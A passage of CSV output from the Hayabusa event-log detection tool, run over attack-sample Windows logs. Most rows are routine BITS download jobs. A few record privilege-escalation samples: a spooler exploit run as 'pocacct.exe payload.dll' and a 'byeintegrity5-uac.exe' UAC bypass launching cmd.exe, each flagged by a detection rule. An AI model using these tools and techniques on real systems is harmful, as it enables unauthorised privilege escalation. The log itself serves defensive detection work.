https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-15 20:48:00.273 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 21:31:35.114 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 22:57:53.156 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-16 22:57:54.168 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 02:41:01.832 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 02:41:02.662 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 06:09:43.966 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b6mGJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-18 19:01:10.759 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b7AcJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:45.347 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:46.212 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 06:49:57.232 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{760E100C-4E23-45B0-A2E1-BB2607BF6ED4}-87.0.4280.66_86.0.4240.198_chrome_updater.exe : URL: http://r4---sn-5hne6nsr.gvt1.com/edgedl/release2/chrome/GIUtDEIRbSWI1y147Zo4bw_87.0.4280.66/87.0.4280.66_86.0.4240.198_chrome_updater.exe?cms_redirect=yes&mh=ls&mip=213.127.67.111&mm=28&mn=sn-5hne6nsr&ms=nvh&mt=1605736037&mv=m&mvi=4&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 18:04:09.949 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b9Paa.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 18:33:33.409 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1b9S4l.img?w=100&h=100&m=6&tilesize=medium&x=1140&y=780&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-19 19:45:57.562 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aQJnx.img?w=100&h=100&m=6&tilesize=medium&x=1069&y=1223&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-20 02:49:15.102 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-20 02:49:15.960 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:12:30.660 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:12:31.102 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:16:44.077 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/mimojjlkmoijpicakmndhoigimigcmbb/32.0.0.453/32.0.0.433/6a7cbd12b20a2b816950c10566b3db00371455731ff01526469af574701da085.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:18:47.864 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/gcmjkmgdlgnkkcocmoeiminaijmmjnii/9.18.0/9.16.0/ce6075b044b6a23d590819332659310fbc6327480d4ce28d85700575fd1d389b.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:01.301 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/khaoiebndkojlmppeemjhbpbandiljpe/43/42/e0b8b1fb7c27acac43c236b9f6b029b07f2a3b661b5d8eed22848180aaf4f04e.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:08.126 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/KbGq9i1aCJZgbOKmNv6oJQ_6252/VL8i_VzJSassyW3AF-YJHg,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:17.194 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/ONVXH2AuMZGs-h196MV_Rg_2505/bYFE7q-GLInSBxc008hucw,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:21.164 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/APhHMzuprJvS7ixvnAk_gdI_1/anGnv31dmOJhheXBnYQ3gw,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:25.377 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:19:34.726 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/Z0dgM6Cm_Rt2z0LEtvtuMA_2020.11.16.1201/AIpG92DElyR2vE9pGKmvVoc,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:50:16.788 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1begCn.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-21 20:50:17.148 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 00:54:58.415 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 00:54:59.449 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 01:00:56.714 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bdETn.img?w=100&h=100&m=6&tilesize=medium&x=1080&y=363&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-22 01:00:57.346 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:46:03.984 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bgw4d.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:46:04.676 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161351840456_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:52:42.355 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 19:52:43.097 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 20:05:14.300 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bh3sJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:44:11.565 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:46:56.224 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 21:46:56.973 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-23 23:09:10.403 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhxvH.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 00:34:38.147 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhAo3.img?w=100&h=100&m=6&tilesize=medium&x=1228&y=258&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 00:41:52.668 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bhEQI.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 21:47:56.181 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-24 21:47:57.912 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 06:06:52.429 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aV2sK.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 08:55:56.229 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bkiYw.img?w=100&h=100&m=6&tilesize=medium&x=1094&y=441&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:56:29.274 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://storage.googleapis.com/update-delta/gkmgaooipdjhmangpemjhigmamcehddo/86.249.200/84.243.200/17f6e5d11e18da93834a470f7266ede269d3660ac7a4c31c0d0acdb0c4c34ba2.crxd,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:57:51.221 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/AN67dIUbQty67HoEacsJ61c_6260/APHk7sg8XbALFcVmjTty4CQ,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 18:57:59.420 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Chrome Component Updater : URL: http://redirector.gvt1.com/edgedl/release2/chrome_component/Jo7Lnj2MkXB5ezNave49dw_2509/AOHc3HV2drrDzlxLOXeJFhs,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 23:04:33.703 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-25 23:04:36.013 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-26 19:44:49.642 +09:00,02694w-win10.threebeesco.com,1,informational,Process Creation,"Command: pocacct.exe payload.dll : Path: C:\Users\lgreen\Downloads\PrivEsc\pocacct.exe : User: 3B\lgreen : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 19:44:49.642 +09:00,02694w-win10.threebeesco.com,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 19:45:14.007 +09:00,02694w-win10.threebeesco.com,1,informational,Process Creation,Command: C:\WINDOWS\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\WINDOWS\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_sysmon_cve_20201030_spooler.evtx +2020-11-26 22:23:30.614 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-26 22:23:32.141 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-27 02:38:11.138 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: byeintegrity5-uac.exe : Path: C:\Users\Public\tools\privesc\uac\byeintegrity5-uac.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.138 +09:00,LAPTOP-JU4M3I0E,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.154 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: taskhostw.exe $(Arg0) : Path: C:\Windows\System32\taskhostw.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\windows\system32\svchost.exe -k netsvcs -p -s Schedule,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-27 02:38:11.175 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: taskhostw.exe $(Arg0)",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_uacbypass_CDSSync_schtask_hijack_byeintegrity5.evtx +2020-11-28 05:15:22.956 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-28 05:15:23.662 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 01:17:33.019 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 01:17:34.712 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 21:31:21.179 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-29 21:31:22.012 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-30 01:29:22.597 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bsJv4.img?w=100&h=100&m=6&tilesize=medium&x=3175&y=1599&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-30 22:15:33.442 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry : Path: C:\Windows\System32\svchost.exe : User: NT 